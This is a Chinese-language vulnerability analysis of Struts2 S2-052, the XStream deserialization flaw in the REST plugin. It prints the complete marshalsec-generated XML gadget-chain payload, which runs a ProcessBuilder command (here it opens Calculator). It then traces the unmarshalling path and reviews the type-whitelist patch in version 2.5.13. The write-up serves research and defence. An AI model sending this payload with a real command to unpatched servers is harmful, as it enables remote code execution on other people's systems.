问题复现
9月5号,在北京出差的时候,就听到群里大师傅们在讨论s2-052,当时根据官方链接,作者说的很清楚,在XStreamHandler函数toObject中,在进行xml转object的时候,没有任何的防御措施,导致可以直接反序列化。由于酒店的网太烂了,maven依赖一直下载不下来,回到公司后一切顺利地可以进行。本来当网就想调试分析一下的,但是关于XStream的用法,可以参考http://www.cnblogs.com/m3Lee/p/3820832.html?utm_source=tuicool&utm_medium=referral,可以这么理解,XStream这个东西就是为了将xml和java对象之间转换的工具。至于为什么要将java对象转换成xml,答案是为了方便存储,和writeObject类似的效果,只不过writeObject将对象保存为一个反序列化格式的文件, XStream将对象保存为xml格式。
找到https://github.com/mbechler/marshalsec,将其下载下来,根据is_win师傅给的生成payload当时,我们传入两个参数,分别为ImageIO, /Applications/Calculator.app/Contents/MacOS/Calculator。
对marshalsec项目下断点分析,可以看到最后形成的poc 如下:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
很熟悉的格式,我们可以反推,当调用xstream.fromXML进行解析xml的时候,该对象会有字段ProcessBuilder,最后反序列化的时候大概会是这个效果。
new ProcessBuilder("Applications/Calculator.app/Contents/MacOS/Calculator").start()
跟进ProcessBuilder类,发现了commond字段 那么其和xml的中的节点
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
可以匹配起来了,至此可以弹出计算器。
跟踪原作者的提示,我在toObject处下断点。整个堆栈调试情况如下:
可以清晰的看到,在ContentTypeInterceptor类中,首先判断了请求body的长度,并且将其交由XStreamHandler做toObject处理。
继续跟进到xstream.fromXML 这个函数,以便于我们深刻理解xstream到底是怎么将一个xml解析的。跟进XStream类中的fromXML,发现其调用了unmarshal函数,经过层层跟进我们最终来到了MapConverter类中的unmarshal函数,
Xstream将xml数据解析并放到一个map里面。
某处关键代码如下
protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) {
reader.moveDown();
Object key = this.readItem(reader, context, map);
reader.moveUp();
reader.moveDown();
Object value = this.readItem(reader, context, map);
reader.moveUp();
target.put(key, value);
}
经过测试,在readItem的时候弹出了计算器,跟进这个函数。其中代码入下
protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {
Class type = HierarchicalStreams.readClassType(reader, this.mapper());
return context.convertAnother(current, type);
}
其中HierarchicalStreams.readClassType(reader, this.mapper())为根据字符jdk.nashorn.internal.objects.NativeString获取到其具体的对象。
经过持续的跟进,发现callReadResolve函数入下
java反射机制。整个操作流程细节比较复杂,总结起来如下:
xml先提取节点,解析到map
迭代器继续解析节点
反射机制执行恶意代码
补丁分析
我调试struts2-rest-plugin插件的版本为2.5.12(影响版本参考https://struts.apache.org/docs/s2-052.html),我将依赖改成版本不受影响的2.5.13,这里把两个版本的源码diff一下。发现在createXStream的时候做了一些安全防护。其中新增了一个函数 http://x-stream.github.io/security.html。其中这段描述很清楚 XStream提供了一些TypePermission实现,允许任何类型或任何类型,以允许原始类型及其对应,空值,数组类型,实现通过常规或通配符表达式匹配类型的名称,一个用于反转权限。 添加了xml可以反序列化的类,当解析到jdk.nashorn.internal.objects.NativeString的时候,由于没通过permission.allows的时候,无法正常return,直接抛出一个异常,终止整个过程。
public Class realClass(String elementName) {
Class type = super.realClass(elementName);
for(int i = 0; i < this.permissions.size(); ++i) {
TypePermission permission = (TypePermission)this.permissions.get(i);
if(permission.allows(type)) {
return type;
}
}
throw new ForbiddenClassException(type);
}
}
后面也就不会去解析之行了。至此,整个过程分析完毕。
参考资料
http://x-stream.github.io/security.html
拓展学习
http://www.freebuf.com/vuls/147017.html